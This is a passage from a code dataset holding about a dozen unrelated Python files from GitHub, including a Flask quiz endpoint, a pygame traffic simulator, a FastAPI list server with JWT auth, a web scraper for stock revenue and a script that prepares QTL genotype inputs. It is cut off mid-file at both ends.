\"merged_midterm\")","repo_name":"lingchensanwen/Merge_PDF","sub_path":"mergePDF.py","file_name":"mergePDF.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23809884367","text":"from flask import Flask, request, jsonify\nfrom run_qg import get_questions\n\ndef get_mc_questions(request):\n    \"\"\"Responds to any HTTP request.\n    Args:\n        request (flask.Request): HTTP request object.\n    Returns:\n        The response text or any set of values that can be turned into a\n        Response object using\n        `make_response <http://flask.pocoo.org/docs/1.0/api/#flask.Flask.make_response>`.\n    \"\"\"\n    text = request.get_data()\n    text = ''.join([i if ord(i) < 128 else ' ' for i in text])\n    questions = get_questions(None,\n        text,\n        num_questions=100,\n        answer_style='multiple_choice',\n        use_evaluator=True\n    )\n    corrects = []\n    for question in questions:\n        for answer in question['answer']:\n            if answer['correct']:\n                corrects.append(answer['answer'])\n                break\n    types = [\"multiple_choice\"] * len(questions)\n    return questions, corrects, types\n","repo_name":"ansh/requiz","sub_path":"multiple_choice/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"71864177001","text":"#Дан список слов (пользователь вводит фразу, содержащую не менее 15 слов)\n#x1,...,xn и слово y (ключевое слово выбирается указанием его индекса во\n#фразе). Определить входит ли хотя бы одно из слов xi в y (как подслово).\n# Количество действий не должно превосходить константы согласно варианту, умноженной на суммарную длину всех слов (из основного списка и того в котором происходит поиск).\n# K=1/2\n# Ihor Mostovyi\n# 20.04.2020\n\ndef calculateConst(string):\n    listOfWords = string.split(\" \")\n    lengthOfWords = 0\n    for word in listOfWords:\n        lengthOfWords += len(word)\n    return lengthOfWords\n\n\ndef main():\n    string = input(\"Enter phrases, splited by whitespaces\\n\")\n    listOfWords = string.split(\" \")\n\n    k = calculateConst(string)\n    k1 = 1\n    inp = \"Enter key word(you nead to choose index between 0 and \" + str(len(listOfWords) - 1) + \"\\n\"\n\n    n = int(input(inp))\n\n    if n < 0 or n >= len(listOfWords):\n        print(\"Did u read condition??!\")\n        return None\n\n    keyword = listOfWords[n]\n    keywordLen = len(keyword)\n    \n    contain = False\n\n    for word in listOfWords:\n        if word == keyword:\n            k1 += 1\n            continue\n\n        if len(word) < keywordLen:\n            k1 += 1\n            continue\n\n        if keyword in word:\n            k1 += 1\n            contain = True\n            break\n\n    print(\"Does contain \", contain, \"\\n\", k1,  \"complexity should be less than \", k)\n    return None\n\n\nmain()","repo_name":"imostoviy/PythonLabs","sub_path":"Lab3/Task7.py","file_name":"Task7.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42742107153","text":"import pygame\nimport random\nimport traffic            # traffic.py needs to be in the same directory\nimport report           # report.py needs to be in the same directory\n\n'''\nreference of pygame library: https://realpython.com/pygame-a-primer/\n'''\n\n'''\nImport and define constants\n'''\nfrom pygame.locals import *     # Import all constants (e.g., \"QUIT\" for window-closing events)\nTIME_ADDCAR = 200  # Add a new car every 200 ms\nTIME_MOVECAR = 80 # Move car every 80 ms\nTIME_CHANGE_SIGNAL = 5000 # Change traffic signal bettwen RED and GREEN every 5,000 ms\nTIME_AMBER_SIGNAL = 1000\nTIME_BATCH = 20000  # Begin a new batch every 20,000 ms\nFRAME_PER_SECOND = 30 # screen update rate\n\n'''\nInitiate a PyGame, roads, and events\n'''\npygame.init()\nscreen = pygame.display.set_mode([traffic.SCREEN_WIDTH, traffic.SCREEN_HEIGHT]) # Create a drawing sufrace\nfont_street_name = pygame.font.SysFont(None, traffic.LANE_WIDTH)\n\n'''\nAdd or modify roads here\n'''\n# Scenario 1 - two wide streets\nroads = []\nroads.append(traffic.Road(pygame, \"Street #1\", font_street_name, 100,\\\n                          traffic.HORIZONTAL, [4,4]))\nroads.append(traffic.Road(pygame, \"Street #2\", font_street_name, 350,\\\n                          traffic.VERTICAL, [4,4]))\n\n# Scenario 2 - four streets\n'''\nroads.append(traffic.Road(pygame, \"Street #1\", font_street_name, 100,\\\n                          traffic.HORIZONTAL, [3,3]))\nroads.append(traffic.Road(pygame, \"Street #2\", font_street_name, 700,\\\n                          traffic.VERTICAL, [2,2]))\nroads.append(traffic.Road(pygame, \"Street #3\", font_street_name, 300,\\\n                          traffic.VERTICAL, [2,2]))\nroads.append(traffic.Road(pygame, \"Street #4\", font_street_name, 350,\\\n                          traffic.HORIZONTAL, [1,1]))\n'''\n\ntraffic.find_overlaps(roads)            # Sanity check\nintersections = traffic.add_intersections(roads)\ntraffic.find_lanes_for_new_cars(roads)\n\nADDCAR = pygame.USEREVENT + 1\npygame.time.set_timer(ADDCAR, TIME_ADDCAR)\nMOVECAR = pygame.USEREVENT + 2\npygame.time.set_timer(MOVECAR, TIME_MOVECAR)\n\nCHANGE_SIGNAL = pygame.USEREVENT + 3\nmax_signal_count = int(TIME_CHANGE_SIGNAL / TIME_AMBER_SIGNAL)\npygame.time.set_timer(CHANGE_SIGNAL, int(TIME_CHANGE_SIGNAL/max_signal_count))\nsignal_count = 0\n\nbatch = report.Batch(pygame, 1, TIME_BATCH) # Create the first batch instance\nNEWBATCH = pygame.USEREVENT + 4\npygame.time.set_timer(NEWBATCH, TIME_BATCH)\n\nclock = pygame.time.Clock()\n\n'''\nMain loop\n'''\nrunning = True\nwhile running:\n    '''\n    Process events\n    '''\n    for event in pygame.event.get():\n        if event.type == QUIT:   # If the user closes the window, terminate the program\n            running = False        \n            \n        elif event.type == ADDCAR:  # Add a new car on a regular basis\n            road = roads[random.randrange(0, len(roads))]\n            road.add_newCar()       \n                \n        elif event.type == MOVECAR: # Move cars on a regular basis            \n            for road in roads:\n                road.move(batch)\n            batch.process_reports()     # Process reports            \n            \n        elif event.type == CHANGE_SIGNAL: # Change traffic signal at intersections\n            signal_count = (signal_count + 1) % max_signal_count\n            if signal_count == max_signal_count - 1:\n                for it in intersections:\n                    # Disallow entrance to all lanes during AMBER period\n                    for lane in it.signal_group[it.current_signal]:\n                        lane.trafficLight = traffic.REDLIGHT\n            elif signal_count == 0: \n                for it in intersections:                \n                    it.current_signal = (it.current_signal + 1) % len(it.signal_group)\n                    # Allow entrance to lanes with GREEN light\n                    for lane in it.signal_group[it.current_signal]:\n                        lane.trafficLight = traffic.GO\n\n        elif event.type == NEWBATCH: # Begin a new batch\n            batch = report.Batch(pygame, batch.batch_num+1, TIME_BATCH)           \n            \n        elif event.type == MOUSEBUTTONUP: # Create/release an accident upon a mouse click\n            x, y = pygame.mouse.get_pos()\n            car = traffic.find_car_nearest_to_mouse_pos(roads, x, y)\n            if car != None:\n                car.toggle_accident(batch)\n                batch.process_reports()     # Process reports\n            else:\n                print(\"No car found on the lane at mouse position\")\n                \n    '''\n    Redraw screen\n    '''\n    screen.fill(traffic.SCREEN_COLOR)  # Fill the background with white        \n    for road in roads:\n        road.paint_on(screen)\n    for road in roads:\n        road.paint_cars_on(screen)    \n    batch.paint_on(screen)\n    pygame.display.flip()   # Display updates on the screen\n    \n    clock.tick(FRAME_PER_SECOND)  # Ensure that updates occur at the specified frames per second\n\npygame.quit()\n","repo_name":"sihyunglee26/Clustering-Simulation","sub_path":"clustering_simulation.py","file_name":"clustering_simulation.py","file_ext":"py","file_size_in_byte":4949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12714433390","text":"# @Time    : 2022/3/25 22:09\n# @Author  : Yanjie WEN\n# @Institution : CSU & BUCEA\n# @IDE : Pycharm\n# @FileName : cal_ap\n# @Project Name :keras-yolo3-master\nimport numpy as np\nimport pandas as pd\n\nclass Cal_average_precision():\n    def __init__(self,ap_path,num_pred_box,num_ground_truth,output_path):\n        self.ap_path = ap_path\n        self.num_pred_box = num_pred_box\n        self.num_ground_truth = num_ground_truth\n        self.df = pd.read_csv(self.ap_path)\n        self.df.sort_values(by='Confi', ascending=False, inplace=True)\n        self.output_path = output_path\n        acc_tp = []\n        tp_ = 0\n        for index, value in enumerate(self.df['TP'].values.tolist()):\n            if index == 0:\n                acc_tp.append(value)\n                tp_ += value\n            else:\n                tp_ += value\n                acc_tp.append(tp_)\n        self.df['acc_tp'] = acc_tp\n\n        acc_fp = []\n        fp_ = 0\n        for index, value in enumerate(self.df['FP'].values.tolist()):\n            if index == 0:\n                acc_fp.append(value)\n                fp_ += value\n            else:\n                fp_ += value\n                acc_fp.append(fp_)\n        self.df['acc_fp'] = acc_fp\n        # 计算precision\n        self.df['precision'] = self.df['acc_tp'] / np.arange(1, len(self.df['acc_tp']) + 1)\n        self.df['recall'] = self.df['acc_tp'] / self.num_ground_truth\n        self.df.to_csv(self.output_path)\n    def cal_ap(self):#11points\n        re_set = [0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.0]\n        recall_ = self.df['recall'].values.tolist()\n        precision_ = self.df['precision'].values.tolist()\n        max_presicion = []\n        for re_ in re_set:\n            pr_index = []\n            for index,re in enumerate(recall_):\n                if re>=re_:\n                    pr_index.append(index)\n            if len(pr_index)!=0:\n                max_presicion.append(np.max([precision_[i] for i in pr_index]))\n            else:\n                max_presicion.append(0)\n        print(np.average(max_presicion))\n\n\ndef main():\n    #ap_path,num_pred_box,num_ground_truth,output_path\n    cal_ = Cal_average_precision('../ap_eval.csv',433,970,'./output_yolo3coco.csv')#修改这里就好\n    cal_.cal_ap()\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"YanJieWen/DLA_YOLOv3-for-complex-events","sub_path":"yolo3/cal_ap.py","file_name":"cal_ap.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"19348312242","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField\nfrom wtforms.validators import DataRequired, ValidationError\n\n\n\ndef valid_credit_number(form, field):\n    credit_number = field.data\n    if not (len(credit_number) == 16):\n        raise ValidationError('Credit card number is not 16 digits.')\n\ndef valid_expiry_date(form, field):\n    expiry_date = field.data\n    expiry_month, expiry_year = expiry_date.split('/')\n    if int(expiry_month) > 12 or int(expiry_month) < 1:\n        raise ValidationError('Credit card expiry date is not valid.')\n\n    if int(expiry_year) < 22 or (int(expiry_year) == 22 and int(expiry_month) < 11):\n        raise ValidationError('Credit card has expired.')\n\ndef valid_security_number(form, field):\n    security_number = field.data\n    if len(security_number) < 3 or len(security_number) > 4:\n        raise ValidationError('Credit card security number is not valid.')\n\n\n\nclass AddCard(FlaskForm):\n    credit_number = StringField('credit_number', validators=[DataRequired(), valid_credit_number])\n    expiry_date = StringField('expiry_date', validators=[DataRequired(), valid_expiry_date])\n    security_number = StringField('security_number', validators=[DataRequired(), valid_security_number])\n","repo_name":"Anbui0115/OurBucks-solo-full-stack","sub_path":"app/forms/add_card.py","file_name":"add_card.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"21536196839","text":"import numpy as np\nfrom scipy.io.wavfile import write\n\n# RATE = 44100\nRATE = 10\n\ntestArr = [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 10, 10]]\nnpTestArr = np.array(testArr)\n# data = np.random.uniform(\n#     0.0, 10.0, RATE)  # 1 second worth of random samples between -1 and 1\n# scaled = np.int16(data / np.max(np.abs(data)) * 32767)\n# write('test.wav', RATE, scaled)\n\nnpFinalOutput = np.array([100, 200, 300])\nfor i in npTestArr:\n    for j in range(RATE):\n        npFinalOutput = np.append(npFinalOutput, i)\n\nprint(npFinalOutput)\n","repo_name":"OmieSawie/NumpyToAudioAndBack","sub_path":"numpyToAudio.py","file_name":"numpyToAudio.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"13181352832","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\n\r\n\r\nhtml_data = requests.get(\" https://cf-courses-data.s3.us.cloud-object-storage.appdomain.cloud/IBMDeveloperSkillsNetwork-PY0220EN-SkillsNetwork/labs/project/stock.html\").text\r\n\r\nsoup = BeautifulSoup(html_data, \"html.parser\")\r\n\r\nbody_gme_revenue = soup.find_all(\"tbody\")[1]\r\n\r\nrevenue_data = []\r\n\r\nfor tr in body_gme_revenue.find_all(\"tr\"):\r\n    tds = tr.find_all(\"td\")\r\n    if len(tds) == 2:\r\n        date = tds[0].text\r\n        revenue = tds[1].text.replace(',', '').replace('$', '')\r\n        revenue_data.append({\"Date\": date, \"Revenue USD\": revenue})\r\n\r\ngme_revenue = pd.DataFrame(revenue_data)\r\nprint(gme_revenue.tail(5))","repo_name":"MarouanHarrou/IBM_python_data_project","sub_path":"question_04.py","file_name":"question_04.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"39430205958","text":"import os\nimport datetime\nfrom time import *\nfrom datetime import datetime\nfrom datetime import date\n\nfrom tkinter import *\nfrom tkinter.ttk import *\n\n\nroot = Tk()\nroot.title(\"Em be loli nhac thi\")\nroot.iconbitmap(\"abc.ico\")\n\nroot.geometry(\"1280x720+50+0\")\n\nbg = PhotoImage(file = \"bg.png\")\n\ndef calendar():\n\ttime_1 = datetime.now()\n\ttime_2 = datetime.strptime('2024:7:8:7:00:00',\"%Y:%m:%d:%H:%M:%S\")\n\n\ttime_interval = time_2 - time_1\n\ttime_interval_list = (str(time_interval)).split()\n\tprint(time_interval_list)\n\ttime_interval_string = \"Còn \" + time_interval_list[0] + \" ngày, \\n\" + time_interval_list[2][:-13] + \" giờ, \" + time_interval_list[2][-12:-10] + \" phút, \\n\" + time_interval_list[2][-9:-7] + \" giây nữa là thi\\nTHPT quốc gia \\nrồi đó onii-chan.\"\n\tlabel1.config(text = time_interval_string)\n\tlabel1.after(1000, calendar)\n\n\nlabel = Label(root,image = bg, font = (\"Grave Snatchers.ttf\", 50), background = 'black', foreground = 'red')\nlabel.place(x = 0, y = 0)\nlabel1 = Label( root,  font = (\"TimesNewRoman\", 32), background = 'white', foreground = 'black')\nlabel1.place(x = 10, y = 20)\nlabel.pack(anchor = 'center')\ncalendar()\nroot.mainloop()","repo_name":"threalwinky/CGirl","sub_path":"CGirl_v1.1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40609316347","text":"from datetime import timedelta, datetime\nimport sys\n\nfrom PySide.QtCore import QTimer, QDateTime, QLocale\nfrom PySide.QtGui import QMainWindow, QMessageBox, QApplication, QIcon, QHeaderView\n\nfrom sqlobject import dberrors\n\nfrom ui_mainwindow import Ui_MainWindow\nfrom aboutdialog import AboutDialog\nfrom tablemodel import BandwidthTableModel\n\nclass MainWindow(QMainWindow, Ui_MainWindow):\n\n    def __init__(self, parent=None):\n        super(MainWindow, self).__init__(parent)\n        self.setupUi(self)\n\n        self.setWindowIcon(QIcon(':/ifmon.png'))\n\n        try:\n            self.model = BandwidthTableModel(self)\n        except dberrors.OperationalError as e:\n            QMessageBox.critical(self, 'Database Error',\n                    'Could not access database.\\nERROR: %s' % e)\n            sys.exit(QApplication.exit())\n\n        self.tableView.setModel(self.model)\n        self.tableView.horizontalHeader().setResizeMode(QHeaderView.Stretch)\n        self.tableView.horizontalHeader().setResizeMode(0, QHeaderView.ResizeToContents)\n        self.tableView.setAlternatingRowColors(True)\n\n        self.dateFrom.setDate(self.model.settings.start)\n        self.dateTo.setDate(self.model.settings.start + timedelta(days=29))\n        self.updateTotal()\n\n        self.actionAbout.triggered.connect(self.about)\n\n        self.timer = QTimer()\n        self.timer.setInterval(1000)\n        self.timer.timeout.connect(self.updateUsage)\n        self.timer.start()\n\n    def updateUsage(self):\n        d = self.dateFrom.date()\n        start = datetime(year=d.year(), month=d.month(), day=d.day())\n        d = self.dateTo.date()\n        end = datetime(year=d.year(), month=d.month(), day=d.day())\n        try:\n            self.model.populateData(start, end)\n        except dberrors.OperationalError as e:\n            QMessageBox.critical(self, 'Database Error',\n                    'Could not access database.\\nERROR: %s' % e)\n            sys.exit(QApplication.exit())\n\n        self.updateTotal()\n\n    def updateTotal(self):\n        stat = self.model.total\n        total = BandwidthTableModel.smart_bytes(stat['total'])\n        received = BandwidthTableModel.smart_bytes(stat['received'])\n        transmitted = BandwidthTableModel.smart_bytes(stat['transmitted'])\n        self.labelTotal.setText(total)\n        self.labelTotalReceived.setText(received)\n        self.labelTotalTransmitted.setText(transmitted)\n        self.labelUptime.setText(BandwidthTableModel.formatUptime(stat['uptime']))\n\n        tps = BandwidthTableModel.smart_bytes(self.model.tps)\n        rps = BandwidthTableModel.smart_bytes(self.model.rps)\n        self.labelRps.setText(\"%s/s\" % rps)\n        self.labelTps.setText(\"%s/s\" % tps)\n        now = QLocale().toString(QDateTime.currentDateTime(), u'dd MMMM, yyyy hh:mm:ss')\n        self.labelTime.setText(now)\n\n    def about(self):\n        AboutDialog(self).exec_()\n\nimport resources.resources\n","repo_name":"nsmgr8/ifmon","sub_path":"gui/mainwindow.py","file_name":"mainwindow.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"42022004737","text":"from fastapi import FastAPI, Body\nfrom fastapi.params import Depends\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom decouple import config\nfrom typing import Dict\n\nfrom server.auth.user_sign_schema import UserSignInSchema, UserSignUpSchema\nfrom server.auth.auth_bearer import JWTBearer\n\nfrom server.database.auth import Auth\nfrom server.database.database import init_db\nfrom server.database.list import List\nfrom server.database.entries import Entries\n\nfrom server.schemas.lists import CreateListSchema, UpdateListSchema\nfrom server.schemas.entries import CreateEntrySchema, UpdateEntrySchema\n\nSERVER_ENV = config(\"SERVER_ENV\")\n\n# Can be changed to adapt to production behavior such as nginx configurations\nroot_path = \"/\"\nif SERVER_ENV == \"production\":\n  root_path = \"/\"\n\napp = FastAPI(\n  title=\"Bubble FastAPI Server\", \n  version=\"1.0.0\", \n  root_path=root_path\n)\n\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\ninit_db()\n\n# Auth Endpoints\n@app.post(\"/auth/sign_in\", tags=[\"Auth\"])\nasync def sign_in(user_sign_in: UserSignInSchema = Body(...)) -> Dict:\n  try:\n    res = Auth.sign_in(username=user_sign_in.username, password=user_sign_in.password)\n\n    if res is not None:\n      return res\n\n    return {\n      \"successful\": False,\n      \"error\": \"User could not be signed in!\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n@app.post(\"/auth/sign_up\", tags=[\"Auth\"])\nasync def sign_in(user_sign_up: UserSignUpSchema = Body(...)) -> Dict:\n  try:\n    res = Auth.sign_up(\n      username=user_sign_up.username,\n      name=user_sign_up.name,\n      surname=user_sign_up.surname,\n      password=user_sign_up.password\n    )\n\n    if res is not None:\n      return res\n\n    return {\n      \"successful\": False,\n      \"error\": \"User could not be signed in!\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n# List Endpoints\n@app.get(\"/list/get_list_by_id\", tags=[\"List\"], dependencies=[Depends(JWTBearer())])\nasync def get_list_by_id(lid: str) -> Dict:\n  try:\n    db_result = List.get_list_by_id(lid)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": \"No list was found\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n@app.get(\"/list/search_list\", tags=[\"List\"], dependencies=[Depends(JWTBearer())])\nasync def search_list(query: str) -> Dict:\n  try:\n    db_result = List.search_list(query_string=query)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": \"No list was found\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n@app.get(\"/list/get_lists_by_user\", tags=[\"List\"], dependencies=[Depends(JWTBearer())])\nasync def get_lists_by_user(uid: str) -> Dict:\n  try:\n    db_result = List.get_user_lists(uid=uid)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": f\"No lists were found for user {uid}\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n@app.post(\"/list/create_list\", tags=[\"List\"], dependencies=[Depends(JWTBearer())])\nasync def create_list(payload: CreateListSchema) -> Dict:\n  try:\n    db_result = List.create_list(title=payload.title, uid=payload.uid)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": \"List could not be created!\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n  \n@app.put(\"/list/update_list\", tags=[\"List\"], dependencies=[Depends(JWTBearer())])\nasync def update_list(payload: UpdateListSchema) -> Dict:\n  try:\n    db_result = List.update_list(lid=payload.lid, title=payload.title)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": \"No lists were found\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n@app.delete(\"/list/delete_list\", tags=[\"List\"], dependencies=[Depends(JWTBearer())])\nasync def delete_list(lid: str) -> Dict:\n  try:\n    db_result = List.remove_list(lid=lid)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": \"No lists were found\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n# Entries Endpoints\n@app.get(\"/entries/get_entry_by_id\", tags=[\"Entries\"], dependencies=[Depends(JWTBearer())])\nasync def get_entry_by_id(eid: str) -> Dict:\n  try:\n    db_result = Entries.get_entry_by_id(eid)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": \"No entry was found\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n@app.get(\"/entries/search_entries\", tags=[\"Entries\"], dependencies=[Depends(JWTBearer())])\nasync def search_entries(query: str) -> Dict:\n  try:\n    db_result = Entries.search_entries(query_string=query)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": \"No entry was found\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n@app.get(\"/entries/get_entries_by_list\", tags=[\"Entries\"], dependencies=[Depends(JWTBearer())])\nasync def get_entries_by_list(lid: str) -> Dict:\n  try:\n    db_result = Entries.get_list_entries(lid=lid)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": f\"No entries were found for list {lid}\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n@app.post(\"/entries/create_entry\", tags=[\"Entries\"], dependencies=[Depends(JWTBearer())])\nasync def create_entry(payload: CreateEntrySchema) -> Dict:\n  try:\n    db_result = Entries.create_entry(name=payload.name, lid=payload.lid)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": \"Entry could not be created!\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n  \n@app.put(\"/entries/update_entry\", tags=[\"Entries\"], dependencies=[Depends(JWTBearer())])\nasync def update_entry(payload: UpdateEntrySchema) -> Dict:\n  try:\n    db_result = Entries.update_entry(eid=payload.eid, name=payload.name)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": \"List could not be removed!\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n@app.delete(\"/entries/delete_entry\", tags=[\"Entries\"], dependencies=[Depends(JWTBearer())])\nasync def delete_entry(eid: str) -> Dict:\n  try:\n    db_result = Entries.remove_entry(eid=eid)\n\n    if db_result is not None:\n      return db_result\n\n    return {\n      \"successful\": False,\n      \"message\": \"Entry could not be removed!\"\n    }\n  except Exception as e:\n    print(e)\n    return {\n      \"successful\": False,\n      \"error\": str(e)\n    }\n\n","repo_name":"thephilippbusch/Bubble","sub_path":"server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"18812972740","text":"import argparse\nimport os\nimport pysam\nimport pandas as pd\nfrom bisect import bisect_left\nimport subprocess\n\n\ndef genotype_code(gt: tuple, founder: bool = False) -> str:\n    if gt == (None, None):\n        return \"-\"\n    elif gt == (0, 0):\n        return \"A\"\n    elif (gt[0] == 0 and gt[1] > 0) or (gt[0] > 0 and gt[1] == 0):\n        return \"-\" if founder else \"H\"\n    elif gt[0] > 0 and gt[1] > 0:\n        return \"B\"\n    else:\n        raise ValueError(f\"GT not recognized: {gt}\")\n\n\ndef genetic_pos(chrmap: pd.DataFrame, pos: int) -> float:\n    r = bisect_left(chrmap[\"pos\"], pos)\n    if r == len(chrmap[\"pos\"]):\n        return chrmap[\"cm\"][r - 1]\n    elif chrmap[\"pos\"][r] == pos or r == 0:\n        return chrmap[\"cm\"][r]\n    else:\n        # Interpolate the genetic position.\n        p_lo = chrmap[\"pos\"][r - 1]\n        p_hi = chrmap[\"pos\"][r]\n        g_lo = chrmap[\"cm\"][r - 1]\n        g_hi = chrmap[\"cm\"][r]\n        rel = (pos - p_lo) / (p_hi - p_lo)\n        return g_lo + rel * (g_hi - g_lo)\n\n\ndef make_qtl_inputs(args):\n    if args.snps is None:\n        IDs = None\n    else:\n        IDs = set(open(args.snps, \"r\").read().splitlines())\n\n    maps = {}\n    for chrom in range(1, 21):\n        filename = os.path.join(args.gmap_dir, f\"MAP4chr{chrom}.txt.gz\")\n        maps[chrom] = pd.read_table(filename, sep=\" \", names=[\"pos\", \"ratio\", \"cm\"])\n\n    vcf = pysam.VariantFile(args.individuals)\n    samples = list(vcf.header.samples)\n    genos = {}\n    refs = {}\n    ID_list = []\n    for rec in vcf.fetch():\n        ID = rec.id if rec.id is not None else f\"{rec.contig}:{rec.pos}\"\n        if IDs is None or ID in IDs:\n            gt = [rec.samples[sample][\"GT\"] for sample in samples]\n            if args.haplotype in {1, 2}:\n                gt = [(g[args.haplotype - 1], g[args.haplotype - 1]) for g in gt]\n            labels = [genotype_code(g, founder=False) for g in gt]\n            genos[ID] = labels\n            refs[ID] = rec.ref\n            ID_list.append(ID)\n\n    # ID_list = [x for x in ID_list if x in genos.keys()]\n    IDs = set(ID_list)\n\n    vcf = pysam.VariantFile(args.founders)\n    strains = list(vcf.header.samples)\n    founder_genos = {}\n    ref_mismatch = 0\n    # remove = set()\n    ID_list = []\n    for rec in vcf.fetch():\n        ID = rec.id if rec.id is not None else f\"{rec.contig}:{rec.pos}\"\n        if ID in IDs:\n            gt = [rec.samples[strain][\"GT\"] for strain in strains]\n            labels = [genotype_code(g, founder=True) for g in gt]\n            # assert rec.ref == refs[ID]\n            if rec.ref != refs[ID]:\n                ref_mismatch += 1\n                # remove.add(ID)\n                # del genos[ID]\n                # del founder_genos[ID]\n            else:\n                founder_genos[ID] = labels\n                ID_list.append(ID)\n\n\n    if ref_mismatch > 0:\n        print(f\"{ref_mismatch} SNPs removed due to reference mismatch.\")\n        # ID_list = [ID for ID in ID_list if ID not in remove]\n\n    if not os.path.exists(args.working_dir):\n        os.makedirs(args.working_dir)\n    with open(os.path.join(args.working_dir, \"geno.csv\"), \"w\") as out:\n        out.write(f\"id,{','.join(samples)}\\n\")\n        for ID in ID_list:\n            out.write(f\"{ID},{','.join(genos[ID])}\\n\")\n\n    with open(os.path.join(args.working_dir, \"founder_geno.csv\"), \"w\") as out:\n        out.write(f\"id,{','.join(strains)}\\n\")\n        for ID in ID_list:\n            out.write(f\"{ID},{','.join(founder_genos[ID])}\\n\")\n\n    with open(os.path.join(args.working_dir, \"pmap.csv\"), \"w\") as out:\n        out.write(\"marker,chr,pos\\n\")\n        for ID in ID_list:\n            chrom, pos = tuple(ID.replace(\"chr\", \"\").split(\":\"))\n            pos = int(pos) / 1e6  # Units are Mbp.\n            out.write(f\"{ID},{chrom},{pos}\\n\")\n\n    with open(os.path.join(args.working_dir, \"gmap.csv\"), \"w\") as out:\n        out.write(\"marker,chr,pos\\n\")\n        for ID in ID_list:\n            chrom, pos = tuple(ID.replace(\"chr\", \"\").split(\":\"))\n            gpos = genetic_pos(maps[int(chrom)], int(pos))\n            out.write(f\"{ID},{chrom},{round(gpos, 6)}\\n\")\n\n    with open(os.path.join(args.working_dir, \"covar.csv\"), \"w\") as out:\n        out.write(\"id,generations\\n\")\n        for sample in samples:\n            out.write(f\"{sample},90\\n\")\n\n    strain_str = \", \".join([f'\"{strain}\"' for strain in strains])\n    cntrl_command = (\n        'qtl2::write_control_file('\n        'output_file = \"control.yaml\", '\n        'overwrite = TRUE, '\n        'crosstype = \"hs\", '\n        'geno_file = \"geno.csv\", '\n        'founder_geno_file = \"founder_geno.csv\", '\n        'gmap_file = \"gmap.csv\", '\n        'pmap_file = \"pmap.csv\", '\n        'covar_file = \"covar.csv\", '\n        'crossinfo_covar = \"generations\", '\n        'geno_codes = c(A = 1L, H = 2L, B = 3L), '\n        f'alleles = c({strain_str}), 